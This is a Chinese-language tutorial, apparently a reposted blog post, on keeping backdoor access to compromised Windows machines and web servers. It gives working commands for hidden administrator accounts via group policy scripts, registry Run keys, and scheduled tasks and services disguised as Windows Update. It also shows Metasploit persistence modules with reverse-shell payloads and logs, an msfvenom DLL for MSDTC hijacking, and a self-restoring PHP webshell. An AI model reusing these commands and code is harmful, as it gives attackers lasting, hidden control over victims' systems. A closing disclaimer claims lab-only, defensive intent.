一、文件層面
1)attrib
使用 Attrib +s +a +h +r 命令
s:設置系統屬性(System) a:設置存檔屬性(Archive) h:設置隱藏屬性(Hidden)
r:設置只讀屬性(Read-only)
| attrib +s +a +h +r c:\test |
命令執行后,我們并看不到 test 目錄,但是他是存在的,也是可以進入的
想要看到,就把對應的屬性刪掉
test 文件夾顯示出來了
2)系統圖標隱藏
可以把文件夾的名稱重命名為 我的電腦.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
圖標變成了我的電腦,雙擊也是可以到達我的電腦,不能進入查看我們文件夾的內容
但是命令行里可以看到文件夾,也能進入并查看文件夾里的內容
常用的文件夾名稱
| 我的電腦.{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
| 回收站.{645ff040-5081-101b-9f08-00aa002f954e} |
| 拔號網絡.{992CFFA0-F557-101A-88EC-00DD010CCC48} |
| 打印機.{2227a280-3aea-1069-a2de-08002b30309d} |
| 控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d} |
| 網上鄰居.{208D2C60-3AEA-1069-A2D7-08002B30309D} |
3)畸形名稱
創建文件名稱為 test...\
顯示名稱是 test...
這個文件可以看到,但是不能訪問內部文件,也不能刪除。
| md test...\ |
| copy 1111.txt test...\ |
在交互界面刪除,顯示找不到項目 無法刪除
打開里面文件 也會報錯 不讓查看
要想刪除只能執行
4)驅動級文件隱藏
驅動隱藏最典型的現象就是系統盤中存在以下文件:
| c:\WINDOWS\xlkfs.dat |
| c:\WINDOWS\xlkfs.dll |
| c:\WINDOWS\xlkfs.ini |
| c:\WINDOWS\system32\drivers\xlkfs.sys |
驅動隱藏我們可以用 EasyFileLocker 實現
下載鏈接: https://pan.baidu.com/s/1h2_k1picYeinpz3XtI8ypA?pwd = 141d
提取碼: 141d
可以選擇屬性,實現文件的隱藏
要想刪除
1、查詢服務狀態: sc qc xlkfs
2、停止服務: net stop xlkfs 服務停止以后,經驅動級隱藏的文件即可顯現
3、刪除服務: sc delete xlkfs
4、刪除系統目錄下面的文件,重啟系統,確認服務已經被清理了。
二、組策略
組策略后門更加隱蔽,在 gpedit.msc 中,可以在計算機完成對應操作時自動執行。比如關機操作
| echo off |
| net user lingx5$ 1234 /add |
| net localgroup administrators lingx5$ /add |
| exit |
把這段復制到 user.bat中
這個腳本就是在操作系統中添加一個 lingx5 $: 1234 的用戶,并把lingx5
這個用戶添加到administrators
用戶組,以$
符號結尾的用戶就是我們常說的影子用戶(隱藏用戶),對于一般的用戶來說,很難發現這個用戶名,即使他發現并刪除了用戶,在下一次關機時,我們注入的組策略還會執行,會再次創建這個用戶。
win+r打開輸入gpedit.msc-->定位到"計算機配置一>Windows設置一>腳本(啟動/關機)"
在關機屬性中添加
重啟計算機
添加成功了,并且 net user命令是無法查看的
組策略不只能添加用戶進行維權,攻擊者還可以把一些惡意的腳本或程序通過組策略來運行,也可以嗅探管理員的密碼等。
三、注冊表
1) 手動添加
注冊表也是攻擊者常用的維權手段,因為注冊表的信息是龐大的,所以在注冊表里的信息會更加隱蔽,并且難以排查。
reg add
:是用于添加或修改注冊表項的命令。
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
:指定了要操作的注冊表路徑,這個路徑是用于存儲當前用戶的自啟動程序信息的位置。
/v loaclUser
:設置要添加的注冊表項的名稱為 “loaclUser”。(可以自定義)
/t REG_SZ
:指定注冊表項的數據類型為字符串類型(REG_SZ)。
/d "C:\Users\tmp\NET.exe"
:設置注冊表項的值為 “C:\Users\tmp\NET.exe”,即指定自啟動程序的路徑為這個可執行文件。(這里制定我們的木馬,后門程序)
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
另外兩個注冊表位置,這些位置可以允許攻擊者通過執行任意有效負載或DLL來實現持久性。這些將在登 錄期間執行,并且需要管理員級別的特權。
| reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v |
| loaclUser /t REG_SZ /d "C:\tmp\NET.exe" |
|
|
| reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep |
| end" /v loaclUser /t REG_SZ /d "C:\tmp\NET.dll" |
2)meterpreter持久化
a) persistence模塊
當然在meterpreter中也有自動化添加的模塊,當機器上線我們的msf時,可以使用persistence這個模塊
| meterpreter > background |
| [*] Backgrounding session 1... |
| msf6 exploit(multi/handler) > use exploit/windows/local/persistence |
| [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp |
| msf6 exploit(windows/local/persistence) > set payload windows/x64/meterpreter/reverse_tcp |
| payload => windows/x64/meterpreter/reverse_tcp |
| msf6 exploit(windows/local/persistence) > set session 1 |
| session => 1 |
| msf6 exploit(windows/local/persistence) > set lhost 192.168.84.128 |
| lhost => 192.168.84.128 |
| msf6 exploit(windows/local/persistence) > set lport 4444 |
| lport => 4444 |
| msf6 exploit(windows/local/persistence) > set startup USER |
| startup => USER |
| msf6 exploit(windows/local/persistence) > run |
|
|
| [*] Running persistent module against DESKTOP-906JKQ3 via session ID: 1 |
| [+] Persistent VBS script written on DESKTOP-906JKQ3 to C:\Users\lingx5\AppData\Local\Temp\UNlzRVY.vbs |
| [*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi |
| [+] Installed autorun on DESKTOP-906JKQ3 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi |
| [*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.3418/DESKTOP-906JKQ3_20240827.3418.rc |
| msf6 exploit(windows/local/persistence) > |
在meterpreter里用background命令,使用windows/local/persistence
模塊指定session的id和設置參數,在tmp目錄下生成vbs腳本,并自動添加注冊表任務
只需要在kali里監聽,等待目標登陸就可以連接
這種有一種弊端,就是程序不是我們自己做完免殺的,很容易被殺毒軟件殺掉,導致木馬沒辦法上線
b) persistence_exe 模塊
| meterpreter > background |
| [*] Backgrounding session 1... |
| msf6 exploit(multi/handler) > use post/windows/manage/persistence_exe |
| msf6 post(windows/manage/persistence_exe) > set session 1 |
| session => 1 |
| msf6 post(windows/manage/persistence_exe) > set rexepath /opt/win_exp/win_exp.exe |
| rexepath => /opt/win_exp/win_exp.exe |
| msf6 post(windows/manage/persistence_exe) > set rexename shell.exe |
| rexename => shell.exe |
| msf6 post(windows/manage/persistence_exe) > run |
|
|
| [*] Running module against DESKTOP-906JKQ3 |
| [*] Reading Payload from file /opt/win_exp/win_exp.exe |
| [+] Persistent Script written to C:\Users\lingx5\AppData\Local\Temp\shell.exe |
| [*] Executing script C:\Users\lingx5\AppData\Local\Temp\shell.exe |
| [+] Agent executed with PID 2076 |
| [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS |
| [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS |
| [*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.0058/DESKTOP-906JKQ3_20240827.0058.rc |
| [*] Post module execution completed |
| msf6 post(windows/manage/persistence_exe) > |
rexepath指定把本地的做好免殺的/opt/win_exp/win_exp.exe
rexename指定上傳的文件名稱(一般都是系統的服務名稱,比較難被察覺的),默認的文件目錄是%TEMP%目錄
缺點就是不能指定上傳文件的路徑,不能夠很好的隱藏。
還是推薦用upload上傳上去,手動添加注冊表等進行維權
c) WMI 持久化
| msf6 exploit(windows/local/wmi_persistence) > show options |
| Module options (exploit/windows/local/wmi_persistence): |
| Name Current Setting Required Description |
| |
| CALLBACK_INTERVAL 1800000 yes Time between callbacks (In milliseconds). (Default: 1800000). |
| CLASSNAME UPDATER yes WMI event class name. (Default: UPDATER) |
| EVENT_ID_TRIGGER 4624 yes Event ID to trigger the payload. (Default: 4625) |
| PERSISTENCE_METHOD EVENT yes Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAIT |
| FOR) |
| PROCESS_TRIGGER CALC.EXE yes The process name to trigger the payload. (Default: CALC.EXE) |
| SESSION 1 yes The session to run this module on |
| USERNAME_TRIGGER BOB yes The username to trigger the payload. (Default: BOB) |
| WAITFOR_TRIGGER CALL yes The word to trigger the payload. (Default: CALL) |
| Payload options (windows/meterpreter/reverse_tcp): |
|
|
| Name Current Setting Required Description |
| |
| EXITFUNC process yes Exit technique (Accepted: '',seh,thread,process, none) |
| LHOST 192.168.84.128 yes The listen address (an interface may bespecified) |
| LPORT 4444 yes The listen port |
| **DisablePayloadHandler: True (no handler will be created!)** |
參數介紹:
CALLBACK_INTERVAL
: 指定回調的間隔時間,單位是毫秒。默認為 1800000 毫秒(30 分鐘),表示每 30 分鐘觸發一次持久化的 Payload。
CLASSNAME
: WMI 事件類的名稱。這個名稱在目標系統中用于標識該持久化任務。默認為 UPDATER
,你可以更改為其他不引人注意的名稱。
EVENT_ID_TRIGGER
: 指定哪個事件 ID 觸發 Payload。默認是 4625
,這是 Windows 日志中常見的登錄失敗事件。你可以根據需求修改為其他事件 ID(如成功登錄的事件 ID 4624
)來更靈活地觸發 Payload。
PERSISTENCE_METHOD
: 選擇持久化的觸發方法。以下是幾種可用的觸發方法:
EVENT
: 基于事件 ID 觸發(如登錄失敗事件)。
INTERVAL
: 定期觸發(基于 CALLBACK_INTERVAL
)。
LOGON
: 當用戶登錄時觸發。
PROCESS
: 當指定的進程啟動時觸發(如 calc.exe
)。
WAITFOR
: 當系統等待某個特定的關鍵詞時觸發。
PROCESS_TRIGGER
: 只有在 PERSISTENCE_METHOD
設置為 PROCESS
時有效,指定要監控的進程名稱。當這個進程啟動時,Payload 會被觸發。默認是 CALC.EXE
,你可以更改為你希望監控的其他合法進程。
SESSION
: 你要在其上運行該模塊的目標會話(session ID)。這個參數必須設置。
USERNAME_TRIGGER
: 只有在 PERSISTENCE_METHOD
設置為 LOGON
時有效,指定哪個用戶名登錄時觸發 Payload。默認是 BOB
,你可以更改為目標系統中的實際用戶名。
WAITFOR_TRIGGER
: 只有在 PERSISTENCE_METHOD
設置為 WAITFOR
時有效,指定觸發 Payload 的關鍵詞。默認是 CALL
。
Payload 選項 (windows/x64/meterpreter/reverse_tcp
)
EXITFUNC
: 指定退出的方式:
LHOST
: 你的攻擊機的監聽地址(IP)。這是目標系統回連的地址,通常是你的本地 IP 或 VPS IP。
LPORT
: 你的攻擊機的監聽端口。目標系統回連時會連接到這個端口。
DisablePayloadHandler
: 如果設置為 True
,Metasploit 不會自動啟動 Payload 的監聽(Handler)。這通常用于在已經運行其他監聽器時避免沖突。
示例
| use windows/local/wmi_persistence |
| set session 1 |
| set persistence_method EVENT |
| set event_id_trigger 4624 |
| set payload windows/x64/meterpreter/reverse_tcp |
| set lhost 192.168.84.128 |
| set lport 4444 |
| run |
不過需要注意的是:我們要用此模塊,我們得獲得目標系統的admin權限
d) 添加用戶
post/windows/manage/add_user
創建一個具有管理員權限的隱藏用戶,以便以后重新訪問。
| use post/linux/manage/add_user |
| set session 1 |
| set USER test |
| set PASS 1234 |
| run |
我這里是普通用戶的權限,所以沒有添加成功
也得需要獲得的權限有添加用戶的權限,才能成功添加。
e) 創建服務
persistence_service
這個模塊可以創建新的服務,來達到權限維持的目的
| use exploit/windows/local/persistence_service |
|
|
| set SESSION 1 |
| set PAYLOAD windows/x64/meterpreter/reverse_tcp |
| set LHOST 192.168.84.128 |
| set LPORT 4444 |
| set REMOTE_EXE_NAME systemupdate.exe |
| set SERVICE_NAME WindowsUpdateService |
| set SERVICE_DISPLAY_NAME "Windows Update Service" |
| set SERVICE_DESCRIPTION "Provides updates for the Windows operating system." |
| set STARTUP auto |
|
|
| run |
需要管理員權限
四、計劃任務
Windows操作系統提供了一個實用程序(schtasks.exe),使系統管理員能夠在特定的日期和時間執 行程序或腳本。
這種行為可作為一種持久性機制被攻擊者利用。通過計劃任務執行持久性不需要管理 員權限,但如果已獲得提
升的權限,則允許進一步操作,例如在用戶登錄期間或在空閑狀態期間執行任務。
SCHTASKS
是 Windows 中的一個內置命令行工具,可以用于創建、刪除和管理計劃任務。
| schtasks /create /tn "Windows Update Service" /tr "C:\Windows\System32\shell.exe" /sc onlogon /ru "SYSTEM" |
參數解釋:
/create
: 創建一個新的任務。
/tn "Windows Update Service"
: 任務名稱(這里偽裝成“Windows Update Service”)。
/tr "C:\Windows\System32\backdoor.exe"
: 任務要執行的程序路徑。
/sc onlogon
: 任務的觸發器,這里設置為在用戶登錄時觸發(你還可以設置其他觸發條件,如系統啟動 /sc onstart
)。
/ru "SYSTEM"
: 以 SYSTEM 權限運行該任務(這通常用于確保高權限執行)。
常見觸發條件:
/sc minute
: 每隔幾分鐘執行一次。
/sc daily
: 每天執行。
/sc onstart
: 在系統啟動時執行。
/sc onlogon
: 在用戶登錄時執行。
驗證:
| schtasks /query /tn "Windows Update Service" |
五、創建服務
如果未正確配置Windows環境中的服務或這些服務可以用作持久性方法,則這些服務可能導致權限提 升。創建一個新的服務需要管理員級別的特權,它已經不是隱蔽的持久性技術。然而,在紅隊的行動 中,針對那些在威脅檢測方面還不成熟的公司,可以用來制造進一步的干擾,企業應建立SOC能力,以識別在其惡意軟件中使用基本技術的威脅。
| sc create ServiceName binPath= "C:\Path\To\Your\Backdoor.exe" start= auto |
PowerShell創建新服務
| New-Service -Name "SystemUpdate" -BinaryPathName "C:\temp\shell.exe" -Description "systemupdate" -StartupType Automatic |
|
|
| sc start pentestlab |
六、內存?
內存馬是無文件攻擊的一種形式。無文件攻擊可以有效地躲避傳統安全軟件的檢測,它們可以在系統的內存中遠程加載執行、駐留在注冊表中或濫用常用的白名單工具,例如PowerShell,WMl 和PsExec等。無文件攻擊技術允許攻擊者訪問系統,從而啟用后續的惡意活動。通過操縱漏洞利用程序、合法工具、宏和腳本,攻擊者可以破壞系統、提升特權或在網絡上橫向傳播惡意代碼。而且,無文件威脅在執行后不會留下任何痕跡,這使其難以被檢測和清除。
內存馬不會有文件落地,很難被流量監測系統檢測到,所以很難發現和排查
原理
內存注入:
掛鉤(Hooking)關鍵組件:
分類
1.servlet-api型 :通過命令執行等方式動態注冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的內存馬原理與此類似,如spring的controller內存馬,tomcat的valve內存馬
2.字節碼增強型: 通過java的instrumentation動態修改已有代碼,進而實現命令執行等功能。
常見的就是java的內存馬了,這與java請求處理的過程有關:
| 客戶端發起一個http請求,比如get類型。 |
| Servlet容器接收到請求,根據請求信息,封裝成HttpServletRequest和HttpServletResponse對象。 |
| Servlet容器調用HttpServlet的init()方法,init方法只在第一次請求的時候被調用。 |
| Servlet容器調用service()方法。 |
| service()方法根據請求類型,這里是get類型,分別調用doGet或者doPost方法,這里調用doGet方法。 |
| doGet方法中是我們自己寫的業務邏輯。 |
| 業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。 |
| 容器關閉時候,會調用destory方法 |
我們在doGet方法中,我們寫入惡意的代碼,他就會被servlet容器加載到系統內存中,從而達到內存馬注入的目的
實現
以tomcat的servletAPI型內存?為例講一下內存?的實現。
創建一個惡意的servlet,然后獲取當前的StandardContext,然后將惡意servlet封裝成wrapper添加到
StandardContext的children當中,最后添加ServletMapping將訪問的URL和wrapper進行綁定。
0x00劫持后門
但是內存馬仍有缺點:一但容器或者服務關閉重啟,就會調用destory()方法,殺死內存馬,并由jvm的垃圾回收機制回收
七、劫持后門
MSDTC簡介
msdtc.exe是微軟分布式傳輸協調程序。該進程調用系統Microsoft Personal Web Server和Microsoft SQL
Server。該服務用于管理多個服務器。
msdtc.exe是一個并列事務,是分布于兩個以上的數據庫,消息隊列,文件系統或其他事務保護資源管理器,刪除
要小心。
對應服務MSDTC,全稱Distributed Transaction Coordinator,Windows系統默認啟動該服務
對應進程msdtc.exe,位于%windir%system32
原理
當Windows操作系統啟動Microsoft分布式事務處理協調器(MSDTC)服務時,攻擊便開始了,該服務可協調跨越多個資源管理器(例如數據庫,消息隊列和文件系統)的事務。當目標計算機加入域時,一旦MSDTC服務啟動,它將搜索注冊表。當計算機加入域中,MSDTC服務啟動時,會搜索注冊表
| HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftMSDTC\MTxOCI |
MSDTC服務中的MTxOCI組件搜索三個DLL:oci.dll,SQLLib80.dll和xa80.dll。Windows系統默認不包含oci.dll,我們自己寫一個惡意的oci.dll,并將其放置在%SystemRoot%\ system32 \
中。oci.dll就緒,使用遠程作業命令殺死MSDTC服務(taskkill / im msdtc.exe / f),從而導致MSDTC重新加載自身。但是,這一次它將查找并找到oci.dll。這時候就會利于這個服務把我們的后門dll拉起來。
實現
成dll木?文件
| msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f dll >oci.dll |
將剛才生成的 oci.dll 上傳到目標機器的 C:\Windows\System32 目錄下
| upload oci.dll C:\Windows |
| shell |
| C:\Windows>move oci.dll c:\Windows\System32 |
oci.dll放入system32 重啟msdtc服務
| taskkill /f /im msdtc.exe |
重啟msdtc
八、不死馬
原理
持久駐留:ignore_user_abort(true)
和set_time_limit(0)
允許腳本在后臺持續運行,即使用戶關閉瀏覽器,腳本仍會繼續執行。
文件恢復:腳本會定期檢查WebShell文件是否存在,如果被刪除,會重新生成。
隱藏位置:攻擊者通常會將WebShell隱藏在不易被注意到的目錄或文件中,以避免被管理員發現。
簡單理解,就是有點像內存馬遞歸調用,實現功能不再是遠程連接攻擊機,而是寫了一個寫木馬文件的操做。在排查人員通過日志排查到木馬文件時,會刪除木馬文件。這時排查人員以為機器安全了,但是,過了一段時間,不死馬再次被內存調用,生成木馬文件。已達到權限維持的目的
PHP不死馬示例
| <?php |
| |
| $shell_code = '<?php @eval($_POST["cmd"]); ?>'; |
|
|
| |
| $file_path = __DIR__ . '/backdoor.php'; |
|
|
| |
| if (!file_exists($file_path)) { |
| file_put_contents($file_path, $shell_code); |
| } |
|
|
| |
| ignore_user_abort(true); |
| set_time_limit(0); |
|
|
| while (true) { |
| |
| if (!file_exists($file_path)) { |
| file_put_contents($file_path, $shell_code); |
| } |
| sleep(600); |
| } |
本人所有文章均為技術分享,均用于防御為目的的記錄,所有操作均在實驗環境下進行,請勿用于其他用途,否則后果自負。
轉自https://www.cnblogs.com/LINGX5/p/18383342
該文章在 2024/11/25 10:09:36 編輯過